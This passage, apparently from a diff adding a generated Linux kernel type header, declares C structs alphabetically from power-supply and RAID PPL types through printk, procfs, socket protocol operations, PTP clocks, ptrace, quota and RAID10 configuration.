charge_safety_timer_minutes; +}; + +union power_supply_propval { + int intval; + const char *strval; +}; + +struct power_supply_resistance_temp_table { + int temp; + int resistance; +}; + +struct power_supply_vbat_ri_table { + int vbat_uv; + int ri_uohm; +}; + +struct ppin_info { + int feature; + int msr_ppin_ctl; + int msr_ppin; +}; + +struct ppl_log; + +struct ppl_conf { + struct mddev *mddev; + struct ppl_log *child_logs; + int count; + int block_size; + u32 signature; + atomic64_t seq; + struct kmem_cache *io_kc; + mempool_t io_pool; + struct bio_set bs; + struct bio_set flush_bs; + int recovered_entries; + int mismatch_count; + struct list_head no_mem_stripes; + spinlock_t no_mem_stripes_lock; + unsigned short write_hint; +}; + +struct ppl_header_entry { + __le64 data_sector; + __le32 pp_size; + __le32 data_size; + __le32 parity_disk; + __le32 checksum; +}; + +struct ppl_header { + __u8 reserved[512]; + __le32 signature; + __le32 padding; + __le64 generation; + __le32 entries_count; + __le32 checksum; + struct ppl_header_entry entries[148]; +}; + +struct ppl_io_unit { + struct ppl_log *log; + struct page *header_page; + unsigned int entries_count; + unsigned int pp_size; + u64 seq; + struct list_head log_sibling; + struct list_head stripe_list; + atomic_t pending_stripes; + atomic_t pending_flushes; + bool submitted; + struct bio bio; + struct bio_vec biovec[32]; +}; + +struct ppl_log { + struct ppl_conf *ppl_conf; + struct md_rdev *rdev; + struct mutex io_mutex; + struct ppl_io_unit *current_io; + spinlock_t io_list_lock; + struct list_head io_list; + sector_t next_io_sector; + unsigned int entry_space; + bool use_multippl; + bool wb_cache_on; + unsigned long disk_flush_bitmap; +}; + +struct pppoe_tag { + __be16 tag_type; + __be16 tag_len; + char tag_data[0]; +}; + +struct pppoe_hdr { + __u8 type: 4; + __u8 ver: 4; + __u8 code; + __be16 sid; + __be16 length; + struct pppoe_tag tag[0]; +}; + +struct pps_bind_args { + int tsformat; + int edge; + int consumer; +}; + +struct pps_device; + +struct pps_source_info { + char name[32]; + char path[32]; + int mode; + void (*echo)(struct pps_device *, int, void *); + struct module *owner; + struct device *dev; +}; + +struct pps_ktime { + __s64 sec; + __s32 nsec; + __u32 flags; +}; + +struct pps_kparams { + int api_version; + int mode; + struct pps_ktime assert_off_tu; + struct pps_ktime clear_off_tu; +}; + +struct pps_device { + struct pps_source_info info; + struct pps_kparams params; + __u32 assert_sequence; + __u32 clear_sequence; + struct pps_ktime assert_tu; + struct pps_ktime clear_tu; + int current_mode; + unsigned int last_ev; + wait_queue_head_t queue; + unsigned int id; + const void *lookup_cookie; + struct cdev cdev; + struct device *dev; + struct fasync_struct *async_queue; + spinlock_t lock; +}; + +struct pps_event_time { + struct timespec64 ts_real; +}; + +struct pps_kinfo { + __u32 assert_sequence; + __u32 clear_sequence; + struct pps_ktime assert_tu; + struct pps_ktime clear_tu; + int current_mode; +}; + +struct pps_fdata { + struct pps_kinfo info; + struct pps_ktime timeout; +}; + +struct pr_clear { + __u64 key; + __u32 flags; + __u32 __pad; +}; + +struct pr_cont_work_struct { + bool comma; + work_func_t func; + long ctr; +}; + +struct pr_held_reservation { + u64 key; + u32 generation; + enum pr_type type; +}; + +struct pr_keys { + u32 generation; + u32 num_keys; + u64 keys[0]; +}; + +struct pr_ops { + int (*pr_register)(struct block_device *, u64, u64, u32); + int (*pr_reserve)(struct block_device *, u64, enum pr_type, u32); + int (*pr_release)(struct block_device *, u64, enum pr_type); + int (*pr_preempt)(struct block_device *, u64, u64, enum pr_type, bool); + int (*pr_clear)(struct block_device *, u64); + int (*pr_read_keys)(struct block_device *, struct pr_keys *); + int (*pr_read_reservation)(struct block_device *, struct pr_held_reservation *); +}; + +struct pr_preempt { + __u64 old_key; + __u64 new_key; + __u32 type; + __u32 flags; +}; + +struct pr_registration { + __u64 old_key; + __u64 new_key; + __u32 flags; + __u32 __pad; +}; + +struct pr_reservation { + __u64 key; + __u32 type; + __u32 flags; +}; + +struct prb_data_blk_lpos { + unsigned long begin; + unsigned long next; +}; + +struct prb_data_block { + unsigned long id; + char data[0]; +}; + +struct prb_data_ring { + unsigned int size_bits; + char *data; + atomic_long_t head_lpos; + atomic_long_t tail_lpos; +}; + +struct prb_desc { + atomic_long_t state_var; + struct prb_data_blk_lpos text_blk_lpos; +}; + +struct printk_info; + +struct prb_desc_ring { + unsigned int count_bits; + struct prb_desc *descs; + struct printk_info *infos; + atomic_long_t head_id; + atomic_long_t tail_id; + atomic_long_t last_finalized_seq; +}; + +struct printk_ringbuffer; + +struct prb_reserved_entry { + struct printk_ringbuffer *rb; + unsigned long irqflags; + unsigned long id; + unsigned int text_space; +}; + +struct prctl_mm_map { + __u64 start_code; + __u64 end_code; + __u64 start_data; + __u64 end_data; + __u64 start_brk; + __u64 brk; + __u64 start_stack; + __u64 arg_start; + __u64 arg_end; + __u64 env_start; + __u64 env_end; + __u64 *auxv; + __u32 auxv_size; + __u32 exe_fd; +}; + +struct prefix_cacheinfo { + __u32 preferred_time; + __u32 valid_time; +}; + +struct prefix_info { + __u8 type; + __u8 length; + __u8 prefix_len; + union { + __u8 flags; + struct { + __u8 reserved: 4; + __u8 preferpd: 1; + __u8 routeraddr: 1; + __u8 autoconf: 1; + __u8 onlink: 1; + }; + }; + __be32 valid; + __be32 prefered; + __be32 reserved2; + struct in6_addr prefix; +}; + +struct prefixmsg { + unsigned char prefix_family; + unsigned char prefix_pad1; + unsigned short prefix_pad2; + int prefix_ifindex; + unsigned char prefix_type; + unsigned char prefix_len; + unsigned char prefix_flags; + unsigned char prefix_pad3; +}; + +struct preftree { + struct rb_root_cached root; + unsigned int count; +}; + +struct preftrees { + struct preftree direct; + struct preftree indirect; + struct preftree indirect_missing_keys; +}; + +struct prelim_ref { + struct rb_node rbnode; + u64 root_id; + struct btrfs_key key_for_search; + u8 level; + int count; + struct extent_inode_elem *inode_list; + u64 parent; + u64 wanted_disk_byte; +}; + +struct prepend_buffer { + char *buf; + int len; +}; + +struct print_entry { + struct trace_entry ent; + unsigned long ip; + char buf[0]; +}; + +struct printf_spec { + unsigned int type: 8; + int field_width: 24; + unsigned int flags: 8; + unsigned int base: 8; + int precision: 16; +}; + +struct printk_info { + u64 seq; + u64 ts_nsec; + u16 text_len; + u8 facility; + u8 flags: 5; + u8 level: 3; + u32 caller_id; + struct dev_printk_info dev_info; +}; + +struct printk_message { + struct printk_buffers *pbufs; + unsigned int outbuf_len; + u64 seq; + unsigned long dropped; +}; + +struct printk_record { + struct printk_info *info; + char *text_buf; + unsigned int text_buf_size; +}; + +struct printk_ringbuffer { + struct prb_desc_ring desc_ring; + struct prb_data_ring text_data_ring; + atomic_long_t fail; +}; + +struct privflags_reply_data { + struct ethnl_reply_data base; + const char (*priv_flag_names)[32]; + unsigned int n_priv_flags; + u32 priv_flags; +}; + +struct prm_buffer { + u8 prm_status; + u64 efi_status; + u8 prm_cmd; + guid_t handler_guid; +} __attribute__((packed)); + +struct prm_mmio_info; + +struct prm_context_buffer { + char signature[4]; + u16 revision; + u16 reserved; + guid_t identifier; + u64 static_data_buffer; + struct prm_mmio_info *mmio_ranges; +}; + +struct prm_handler_info { + guid_t guid; + efi_status_t (*handler_addr)(u64, void *); + u64 static_data_buffer_addr; + u64 acpi_param_buffer_addr; + struct list_head handler_list; +}; + +struct prm_mmio_addr_range { + u64 phys_addr; + u64 virt_addr; + u32 length; +} __attribute__((packed)); + +struct prm_mmio_info { + u64 mmio_count; + struct prm_mmio_addr_range addr_ranges[0]; +}; + +struct prm_module_info { + guid_t guid; + u16 major_rev; + u16 minor_rev; + u16 handler_count; + struct prm_mmio_info *mmio_info; + bool updatable; + struct list_head module_list; + struct prm_handler_info handlers[0]; +}; + +typedef struct kobject *kobj_probe_t(dev_t, int *, void *); + +struct probe { + struct probe *next; + dev_t dev; + unsigned long range; + struct module *owner; + kobj_probe_t *get; + int (*lock)(dev_t, void *); + void *data; +}; + +struct probe_arg { + struct fetch_insn *code; + bool dynamic; + unsigned int offset; + unsigned int count; + const char *name; + const char *comm; + char *fmt; + const struct fetch_type *type; +}; + +struct probe_entry_arg { + struct fetch_insn *code; + unsigned int size; +}; + +struct probe_resp { + struct callback_head callback_head; + int len; + u16 cntdwn_counter_offsets[2]; + u8 data[0]; +}; + +typedef int (*proc_write_t)(struct file *, char *, size_t); + +struct proc_ops; + +struct proc_dir_entry { + atomic_t in_use; + refcount_t refcnt; + struct list_head pde_openers; + spinlock_t pde_unload_lock; + struct completion *pde_unload_completion; + const struct inode_operations *proc_iops; + union { + const struct proc_ops *proc_ops; + const struct file_operations *proc_dir_ops; + }; + const struct dentry_operations *proc_dops; + union { + const struct seq_operations *seq_ops; + int (*single_show)(struct seq_file *, void *); + }; + proc_write_t write; + void *data; + unsigned int state_size; + unsigned int low_ino; + nlink_t nlink; + kuid_t uid; + kgid_t gid; + loff_t size; + struct proc_dir_entry *parent; + struct rb_root subdir; + struct rb_node subdir_node; + char *name; + umode_t mode; + u8 flags; + u8 namelen; + char inline_name[0]; +}; + +struct proc_fs_context { + struct pid_namespace *pid_ns; + unsigned int mask; + enum proc_hidepid hidepid; + int gid; + enum proc_pidonly pidonly; +}; + +struct proc_fs_info { + struct pid_namespace *pid_ns; + struct dentry *proc_self; + struct dentry *proc_thread_self; + kgid_t pid_gid; + enum proc_hidepid hide_pid; + enum proc_pidonly pidonly; + struct callback_head rcu; +}; + +struct proc_fs_opts { + int flag; + const char *str; +}; + +struct proc_inode { + struct pid *pid; + unsigned int fd; + union proc_op op; + struct proc_dir_entry *pde; + struct ctl_table_header *sysctl; + struct ctl_table *sysctl_entry; + struct hlist_node sibling_inodes; + const struct proc_ns_operations *ns_ops; + struct inode vfs_inode; +}; + +struct proc_mounts { + struct mnt_namespace *ns; + struct path root; + int (*show)(struct seq_file *, struct vfsmount *); +}; + +struct proc_ns_operations { + const char *name; + const char *real_ns_name; + int type; + struct ns_common * (*get)(struct task_struct *); + void (*put)(struct ns_common *); + int (*install)(struct nsset *, struct ns_common *); + struct user_namespace * (*owner)(struct ns_common *); + struct ns_common * (*get_parent)(struct ns_common *); +}; + +struct proc_ops { + unsigned int proc_flags; + int (*proc_open)(struct inode *, struct file *); + ssize_t (*proc_read)(struct file *, char __attribute__((btf_type_tag("user"))) *, size_t, loff_t *); + ssize_t (*proc_read_iter)(struct kiocb *, struct iov_iter *); + ssize_t (*proc_write)(struct file *, const char __attribute__((btf_type_tag("user"))) *, size_t, loff_t *); + loff_t (*proc_lseek)(struct file *, loff_t, int); + int (*proc_release)(struct inode *, struct file *); + __poll_t (*proc_poll)(struct file *, struct poll_table_struct *); + long (*proc_ioctl)(struct file *, unsigned int, unsigned long); + int (*proc_mmap)(struct file *, struct vm_area_struct *); + unsigned long (*proc_get_unmapped_area)(struct file *, unsigned long, unsigned long, unsigned long, unsigned long); +}; + +struct proc_timens_offset { + int clockid; + struct timespec64 val; +}; + +struct process_timer { + struct timer_list timer; + struct task_struct *task; +}; + +struct procmap_query { + __u64 size; + __u64 query_flags; + __u64 query_addr; + __u64 vma_start; + __u64 vma_end; + __u64 vma_flags; + __u64 vma_page_size; + __u64 vma_offset; + __u64 inode; + __u32 dev_major; + __u32 dev_minor; + __u32 vma_name_size; + __u32 build_id_size; + __u64 vma_name_addr; + __u64 build_id_addr; +}; + +struct prog_entry { + int target; + int when_to_branch; + struct filter_pred *pred; +}; + +struct prog_poke_elem { + struct list_head list; + struct bpf_prog_aux *aux; +}; + +struct prog_test_member1 { + int a; +}; + +struct prog_test_member { + struct prog_test_member1 m; + int c; +}; + +struct prog_test_ref_kfunc { + int a; + int b; + struct prog_test_member memb; + struct prog_test_ref_kfunc *next; + refcount_t cnt; +}; + +struct prop_handler { + struct hlist_node node; + const char *xattr_name; + int (*validate)(const struct btrfs_inode *, const char *, size_t); + int (*apply)(struct inode *, const char *, size_t); + const char * (*extract)(const struct inode *); + bool (*ignore)(const struct btrfs_inode *); + int inheritable; +}; + +struct property { + char *name; + int length; + void *value; + struct property *next; +}; + +struct prot_inuse { + int all; + int val[64]; +}; + +struct smc_hashinfo; + +struct proto_accept_arg; + +struct sk_psock; + +struct timewait_sock_ops; + +struct raw_hashinfo; + +struct proto { + void (*close)(struct sock *, long); + int (*pre_connect)(struct sock *, struct sockaddr *, int); + int (*connect)(struct sock *, struct sockaddr *, int); + int (*disconnect)(struct sock *, int); + struct sock * (*accept)(struct sock *, struct proto_accept_arg *); + int (*ioctl)(struct sock *, int, int *); + int (*init)(struct sock *); + void (*destroy)(struct sock *); + void (*shutdown)(struct sock *, int); + int (*setsockopt)(struct sock *, int, int, sockptr_t, unsigned int); + int (*getsockopt)(struct sock *, int, int, char __attribute__((btf_type_tag("user"))) *, int __attribute__((btf_type_tag("user"))) *); + void (*keepalive)(struct sock *, int); + int (*sendmsg)(struct sock *, struct msghdr *, size_t); + int (*recvmsg)(struct sock *, struct msghdr *, size_t, int, int *); + void (*splice_eof)(struct socket *); + int (*bind)(struct sock *, struct sockaddr *, int); + int (*bind_add)(struct sock *, struct sockaddr *, int); + int (*backlog_rcv)(struct sock *, struct sk_buff *); + bool (*bpf_bypass_getsockopt)(int, int); + void (*release_cb)(struct sock *); + int (*hash)(struct sock *); + void (*unhash)(struct sock *); + void (*rehash)(struct sock *); + int (*get_port)(struct sock *, unsigned short); + void (*put_port)(struct sock *); + int (*psock_update_sk_prot)(struct sock *, struct sk_psock *, bool); + unsigned int inuse_idx; + bool (*stream_memory_free)(const struct sock *, int); + bool (*sock_is_readable)(struct sock *); + void (*enter_memory_pressure)(struct sock *); + void (*leave_memory_pressure)(struct sock *); + atomic_long_t *memory_allocated; + int __attribute__((btf_type_tag("percpu"))) *per_cpu_fw_alloc; + struct percpu_counter *sockets_allocated; + unsigned long *memory_pressure; + long *sysctl_mem; + int *sysctl_wmem; + int *sysctl_rmem; + u32 sysctl_wmem_offset; + u32 sysctl_rmem_offset; + int max_header; + bool no_autobind; + struct kmem_cache *slab; + unsigned int obj_size; + unsigned int ipv6_pinfo_offset; + slab_flags_t slab_flags; + unsigned int useroffset; + unsigned int usersize; + unsigned int __attribute__((btf_type_tag("percpu"))) *orphan_count; + struct request_sock_ops *rsk_prot; + struct timewait_sock_ops *twsk_prot; + union { + struct inet_hashinfo *hashinfo; + struct udp_table *udp_table; + struct raw_hashinfo *raw_hash; + struct smc_hashinfo *smc_hash; + } h; + struct module *owner; + char name[32]; + struct list_head node; + int (*diag_destroy)(struct sock *, int); +}; + +struct proto_accept_arg { + int flags; + int err; + int is_empty; + bool kern; +}; + +typedef int (*sk_read_actor_t)(read_descriptor_t *, struct sk_buff *, unsigned int, size_t); + +typedef int (*skb_read_actor_t)(struct sock *, struct sk_buff *); + +struct proto_ops { + int family; + struct module *owner; + int (*release)(struct socket *); + int (*bind)(struct socket *, struct sockaddr *, int); + int (*connect)(struct socket *, struct sockaddr *, int, int); + int (*socketpair)(struct socket *, struct socket *); + int (*accept)(struct socket *, struct socket *, struct proto_accept_arg *); + int (*getname)(struct socket *, struct sockaddr *, int); + __poll_t (*poll)(struct file *, struct socket *, struct poll_table_struct *); + int (*ioctl)(struct socket *, unsigned int, unsigned long); + int (*gettstamp)(struct socket *, void __attribute__((btf_type_tag("user"))) *, bool, bool); + int (*listen)(struct socket *, int); + int (*shutdown)(struct socket *, int); + int (*setsockopt)(struct socket *, int, int, sockptr_t, unsigned int); + int (*getsockopt)(struct socket *, int, int, char __attribute__((btf_type_tag("user"))) *, int __attribute__((btf_type_tag("user"))) *); + void (*show_fdinfo)(struct seq_file *, struct socket *); + int (*sendmsg)(struct socket *, struct msghdr *, size_t); + int (*recvmsg)(struct socket *, struct msghdr *, size_t, int); + int (*mmap)(struct file *, struct socket *, struct vm_area_struct *); + ssize_t (*splice_read)(struct socket *, loff_t *, struct pipe_inode_info *, size_t, unsigned int); + void (*splice_eof)(struct socket *); + int (*set_peek_off)(struct sock *, int); + int (*peek_len)(struct socket *); + int (*read_sock)(struct sock *, read_descriptor_t *, sk_read_actor_t); + int (*read_skb)(struct sock *, skb_read_actor_t); + int (*sendmsg_locked)(struct sock *, struct msghdr *, size_t); + int (*set_rcvlowat)(struct sock *, int); +}; + +struct prt_quirk { + const struct dmi_system_id *system; + unsigned int segment; + unsigned int bus; + unsigned int device; + unsigned char pin; + const char *source; + const char *actual_source; +}; + +struct psched_pktrate { + u64 rate_pkts_ps; + u32 mult; + u8 shift; +}; + +struct psched_ratecfg { + u64 rate_bytes_ps; + u32 mult; + u16 overhead; + u16 mpu; + u8 linklayer; + u8 shift; +}; + +struct pse_control_status { + enum ethtool_podl_pse_admin_state podl_admin_state; + enum ethtool_podl_pse_pw_d_status podl_pw_status; + enum ethtool_c33_pse_admin_state c33_admin_state; + enum ethtool_c33_pse_pw_d_status c33_pw_status; + u32 c33_pw_class; + u32 c33_actual_pw; + struct ethtool_c33_pse_ext_state_info c33_ext_state_info; + u32 c33_avail_pw_limit; + struct ethtool_c33_pse_pw_limit_range *c33_pw_limit_ranges; + u32 c33_pw_limit_nb_ranges; +}; + +struct pse_reply_data { + struct ethnl_reply_data base; + struct pse_control_status status; +}; + +struct super_operations; + +struct xattr_handler; + +struct pseudo_fs_context { + const struct super_operations *ops; + const struct xattr_handler * const *xattr; + const struct dentry_operations *dops; + unsigned long magic; +}; + +struct psi_group_cpu; + +struct psi_group { + struct psi_group *parent; + bool enabled; + struct mutex avgs_lock; + struct psi_group_cpu __attribute__((btf_type_tag("percpu"))) *pcpu; + u64 avg_total[6]; + u64 avg_last_update; + u64 avg_next_update; + struct delayed_work avgs_work; + struct list_head avg_triggers; + u32 avg_nr_triggers[6]; + u64 total[12]; + unsigned long avg[18]; + struct task_struct __attribute__((btf_type_tag("rcu"))) *rtpoll_task; + struct timer_list rtpoll_timer; + wait_queue_head_t rtpoll_wait; + atomic_t rtpoll_wakeup; + atomic_t rtpoll_scheduled; + struct mutex rtpoll_trigger_lock; + struct list_head rtpoll_triggers; + u32 rtpoll_nr_triggers[6]; + u32 rtpoll_states; + u64 rtpoll_min_period; + u64 rtpoll_total[6]; + u64 rtpoll_next_update; + u64 rtpoll_until; +}; + +struct psi_group_cpu { + seqcount_t seq; + unsigned int tasks[4]; + u32 state_mask; + u32 times[7]; + u64 state_start; + long: 64; + long: 64; + long: 64; + u32 times_prev[14]; + long: 64; +}; + +struct psi_window { + u64 size; + u64 start_time; + u64 start_value; + u64 prev_growth; +}; + +struct psi_trigger { + enum psi_states state; + u64 threshold; + struct list_head node; + struct psi_group *group; + wait_queue_head_t event_wait; + struct kernfs_open_file *of; + int event; + struct psi_window win; + u64 last_event_time; + bool pending_event; + enum psi_aggregators aggregator; +}; + +struct pstate_funcs { + int (*get_max)(int); + int (*get_max_physical)(int); + int (*get_min)(int); + int (*get_turbo)(int); + int (*get_scaling)(void); + int (*get_cpu_scaling)(int); + int (*get_aperf_mperf_shift)(void); + u64 (*get_val)(struct cpudata *, int); + void (*get_vid)(struct cpudata *); +}; + +struct psy_am_i_supplied_data { + struct power_supply *psy; + unsigned int count; +}; + +struct psy_get_supplier_prop_data { + struct power_supply *psy; + enum power_supply_property psp; + union power_supply_propval *val; +}; + +struct pt_filter { + unsigned long msr_a; + unsigned long msr_b; + unsigned long config; +}; + +struct pt_filters { + struct pt_filter filter[4]; + unsigned int nr_filters; +}; + +struct pt { + struct perf_output_handle handle; + struct pt_filters filters; + int handle_nmi; + int vmx_on; + u64 output_base; + u64 output_mask; +}; + +struct pt_address_range { + unsigned long msr_a; + unsigned long msr_b; + unsigned int reg_off; +}; + +struct topa; + +struct topa_entry; + +struct pt_buffer { + struct list_head tables; + struct topa *first; + struct topa *last; + struct topa *cur; + unsigned int cur_idx; + size_t output_off; + unsigned long nr_pages; + local_t data_size; + local64_t head; + bool snapshot; + bool single; + long stop_pos; + long intr_pos; + struct topa_entry *stop_te; + struct topa_entry *intr_te; + void **data_pages; +}; + +struct pt_cap_desc { + const char *name; + u32 leaf; + u8 reg; + u32 mask; +}; + +struct pt_pmu { + struct pmu pmu; + u32 caps[8]; + bool vmx; + bool branch_en_always_on; + unsigned long max_nonturbo_ratio; + unsigned int tsc_art_num; + unsigned int tsc_art_den; +}; + +struct pt_regs_offset { + const char *name; + int offset; +}; + +struct ptdesc { + unsigned long __page_flags; + union { + struct callback_head pt_rcu_head; + struct list_head pt_list; + struct { + unsigned long _pt_pad_1; + pgtable_t pmd_huge_pte; + }; + }; + unsigned long __page_mapping; + union { + unsigned long pt_index; + struct mm_struct *pt_mm; + atomic_t pt_frag_refcount; + }; + union { + unsigned long _pt_pad_2; + spinlock_t *ptl; + }; + unsigned int __page_type; + atomic_t __page_refcount; + unsigned long pt_memcg_data; +}; + +struct ptp_clock { + struct posix_clock clock; + struct device dev; + struct ptp_clock_info *info; + dev_t devid; + int index; + struct pps_device *pps_source; + long dialed_frequency; + struct list_head tsevqs; + spinlock_t tsevqs_lock; + struct mutex pincfg_mux; + wait_queue_head_t tsev_wq; + int defunct; + struct device_attribute *pin_dev_attr; + struct attribute **pin_attr; + struct attribute_group pin_attr_group; + const struct attribute_group *pin_attr_groups[2]; + struct kthread_worker *kworker; + struct kthread_delayed_work aux_work; + unsigned int max_vclocks; + unsigned int n_vclocks; + int *vclock_index; + struct mutex n_vclocks_mux; + bool is_virtual_clock; + bool has_cycles; + struct dentry *debugfs_root; +}; + +struct ptp_clock_caps { + int max_adj; + int n_alarm; + int n_ext_ts; + int n_per_out; + int pps; + int n_pins; + int cross_timestamping; + int adjust_phase; + int max_phase_adj; + int rsv[11]; +}; + +struct ptp_clock_event { + int type; + int index; + union { + u64 timestamp; + s64 offset; + struct pps_event_time pps_times; + }; +}; + +struct ptp_extts_request { + unsigned int index; + unsigned int flags; + unsigned int rsv[2]; +}; + +struct ptp_clock_time { + __s64 sec; + __u32 nsec; + __u32 reserved; +}; + +struct ptp_perout_request { + union { + struct ptp_clock_time start; + struct ptp_clock_time phase; + }; + struct ptp_clock_time period; + unsigned int index; + unsigned int flags; + union { + struct ptp_clock_time on; + unsigned int rsv[4]; + }; +}; + +struct ptp_clock_request { + enum { + PTP_CLK_REQ_EXTTS = 0, + PTP_CLK_REQ_PEROUT = 1, + PTP_CLK_REQ_PPS = 2, + } type; + union { + struct ptp_extts_request extts; + struct ptp_perout_request perout; + }; +}; + +struct ptp_extts_event { + struct ptp_clock_time t; + unsigned int index; + unsigned int flags; + unsigned int rsv[2]; +}; + +struct ptp_header { + u8 tsmt; + u8 ver; + __be16 message_length; + u8 domain_number; + u8 reserved1; + u8 flag_field[2]; + __be64 correction; + __be32 reserved2; + struct port_identity source_port_identity; + __be16 sequence_id; + u8 control; + u8 log_message_interval; +} __attribute__((packed)); + +struct ptp_sys_offset { + unsigned int n_samples; + unsigned int rsv[3]; + struct ptp_clock_time ts[51]; +}; + +struct ptp_sys_offset_extended { + unsigned int n_samples; + __kernel_clockid_t clockid; + unsigned int rsv[2]; + struct ptp_clock_time ts[75]; +}; + +struct ptp_sys_offset_precise { + struct ptp_clock_time device; + struct ptp_clock_time sys_realtime; + struct ptp_clock_time sys_monoraw; + unsigned int rsv[4]; +}; + +struct ptp_system_timestamp { + struct timespec64 pre_ts; + struct timespec64 post_ts; + clockid_t clockid; +}; + +struct ptp_vclock { + struct ptp_clock *pclock; + struct ptp_clock_info info; + struct ptp_clock *clock; + struct hlist_node vclock_hash_node; + struct cyclecounter cc; + struct timecounter tc; + struct mutex lock; +}; + +struct ptrace_peeksiginfo_args { + __u64 off; + __u32 flags; + __s32 nr; +}; + +struct ptrace_rseq_configuration { + __u64 rseq_abi_pointer; + __u32 rseq_abi_size; + __u32 signature; + __u32 flags; + __u32 pad; +}; + +struct ptrace_sud_config { + __u64 mode; + __u64 selector; + __u64 offset; + __u64 len; +}; + +struct ptrace_syscall_info { + __u8 op; + __u8 pad[3]; + __u32 arch; + __u64 instruction_pointer; + __u64 stack_pointer; + union { + struct { + __u64 nr; + __u64 args[6]; + } entry; + struct { + __s64 rval; + __u8 is_error; + } exit; + struct { + __u64 nr; + __u64 args[6]; + __u32 ret_data; + } seccomp; + }; +}; + +struct pts_mount_opts { + int setuid; + int setgid; + kuid_t uid; + kgid_t gid; + umode_t mode; + umode_t ptmxmode; + int reserve; + int max; +}; + +struct pts_fs_info { + struct ida allocated_ptys; + struct pts_mount_opts mount_opts; + struct super_block *sb; + struct dentry *ptmx_dentry; +}; + +struct public_key { + void *key; + u32 keylen; + enum OID algo; + void *params; + u32 paramlen; + bool key_is_private; + const char *id_type; + const char *pkey_algo; + unsigned long key_eflags; +}; + +struct public_key_signature { + struct asymmetric_key_id *auth_ids[3]; + u8 *s; + u8 *digest; + u32 s_size; + u32 digest_size; + const char *pkey_algo; + const char *hash_algo; + const char *encoding; +}; + +struct qc_dqblk { + int d_fieldmask; + u64 d_spc_hardlimit; + u64 d_spc_softlimit; + u64 d_ino_hardlimit; + u64 d_ino_softlimit; + u64 d_space; + u64 d_ino_count; + s64 d_ino_timer; + s64 d_spc_timer; + int d_ino_warns; + int d_spc_warns; + u64 d_rt_spc_hardlimit; + u64 d_rt_spc_softlimit; + u64 d_rt_space; + s64 d_rt_spc_timer; + int d_rt_spc_warns; +}; + +struct qc_info { + int i_fieldmask; + unsigned int i_flags; + unsigned int i_spc_timelimit; + unsigned int i_ino_timelimit; + unsigned int i_rt_spc_timelimit; + unsigned int i_spc_warnlimit; + unsigned int i_ino_warnlimit; + unsigned int i_rt_spc_warnlimit; +}; + +struct qc_type_state { + unsigned int flags; + unsigned int spc_timelimit; + unsigned int ino_timelimit; + unsigned int rt_spc_timelimit; + unsigned int spc_warnlimit; + unsigned int ino_warnlimit; + unsigned int rt_spc_warnlimit; + unsigned long long ino; + blkcnt_t blocks; + blkcnt_t nextents; +}; + +struct qc_state { + unsigned int s_incoredqs; + struct qc_type_state s_state[3]; +}; + +struct tc_sizespec { + unsigned char cell_log; + unsigned char size_log; + short cell_align; + int overhead; + unsigned int linklayer; + unsigned int mpu; + unsigned int mtu; + unsigned int tsize; +}; + +struct qdisc_size_table { + struct callback_head rcu; + struct list_head list; + struct tc_sizespec szopts; + int refcnt; + u16 data[0]; +}; + +struct qdisc_walker { + int stop; + int skip; + int count; + int (*fn)(struct Qdisc *, unsigned long, struct qdisc_walker *); +}; + +struct qnode { + struct mcs_spinlock mcs; +}; + +struct queue_entry { + unsigned long flags; + unsigned long last_action; + struct data_queue *queue; + struct sk_buff *skb; + unsigned int entry_idx; + void *priv_data; +}; + +struct queue_entry_priv_usb { + struct urb *urb; +}; + +struct queue_entry_priv_usb_bcn { + struct urb *urb; + unsigned int guardian_data; + struct urb *guardian_urb; +}; + +struct queue_pages { + struct list_head *pagelist; + unsigned long flags; + nodemask_t *nmask; + unsigned long start; + unsigned long end; + struct vm_area_struct *first; + struct folio *large; + long nr_failed; +}; + +struct queue_sysfs_entry { + struct attribute attr; + ssize_t (*show)(struct gendisk *, char *); + int (*load_module)(struct gendisk *, const char *, size_t); + ssize_t (*store)(struct gendisk *, const char *, size_t); +}; + +struct quirk_entry { + u16 vid; + u16 pid; + u32 flags; +}; + +struct quirk_entry___2 { + u32 nominal_freq; + u32 lowest_freq; +}; + +struct quirks_list_struct { + struct hid_device_id hid_bl_item; + struct list_head node; +}; + +struct quota_format_ops { + int (*check_quota_file)(struct super_block *, int); + int (*read_file_info)(struct super_block *, int); + int (*write_file_info)(struct super_block *, int); + int (*free_file_info)(struct super_block *, int); + int (*read_dqblk)(struct dquot *); + int (*commit_dqblk)(struct dquot *); + int (*release_dqblk)(struct dquot *); + int (*get_next_id)(struct super_block *, struct kqid *); +}; + +struct quota_format_type { + int qf_fmt_id; + const struct quota_format_ops *qf_ops; + struct module *qf_owner; + struct quota_format_type *qf_next; +}; + +struct quota_info { + unsigned int flags; + struct rw_semaphore dqio_sem; + struct inode *files[3]; + struct mem_dqinfo info[3]; + const struct quota_format_ops *ops[3]; +}; + +struct quotactl_ops { + int (*quota_on)(struct super_block *, int, int, const struct path *); + int (*quota_off)(struct super_block *, int); + int (*quota_enable)(struct super_block *, unsigned int); + int (*quota_disable)(struct super_block *, unsigned int); + int (*quota_sync)(struct super_block *, int); + int (*set_info)(struct super_block *, int, struct qc_info *); + int (*get_dqblk)(struct super_block *, struct kqid, struct qc_dqblk *); + int (*get_nextdqblk)(struct super_block *, struct kqid *, struct qc_dqblk *); + int (*set_dqblk)(struct super_block *, struct kqid, struct qc_dqblk *); + int (*get_state)(struct super_block *, struct qc_state *); + int (*rm_xquota)(struct super_block *, unsigned int); +}; + +struct strip_zone; + +struct r0conf { + struct strip_zone *strip_zone; + struct md_rdev **devlist; + int nr_strip_zones; + enum r0layout layout; +}; + +struct r10dev { + struct bio *bio; + union { + struct bio *repl_bio; + struct md_rdev *rdev; + }; + sector_t addr; + int devnum; +}; + +struct r10bio { + atomic_t remaining; + sector_t sector; + int sectors; + unsigned long state; + struct mddev *mddev; + struct bio *master_bio; + int read_slot; + struct list_head retry_list; + struct r10dev devs[0]; +}; + +struct raid10_info; + +struct r10conf { + struct mddev *mddev; + struct raid10_info *mirrors; + struct raid10_info *mirrors_new; + struct raid10_info *mirrors_old; + spinlock_t device_lock; + struct geom prev; + struct geom geo; + int copies; + sector_t dev_sectors; + sector_t reshape_progress; + sector_t reshape_safe; + unsigned long reshape_checkpoint; + sector_t offset_diff; + struct list_head retry_list; + struct list_head bio_end_io_list; + struct bio_list pending_bio_list; + seqlock_t resync_lock; + atomic_t nr_pending; + int nr_waiting; + int nr_queued; + int barrier; + int array_freeze_pending; + sector_t next_resync; + int fullsync; + int have_replacement; + wait_queue_head_t wait_barrier; + mempool_t r10bio_pool; + mempool_t r10buf_pool; + struct page *tmppage; + struct bio_set bio_split; + struct md_thread __attribute__((btf_type_tag("rcu"))) *thread; + sector_t cluster_sync_low; + sector_t cluster_sync_high; +}; + 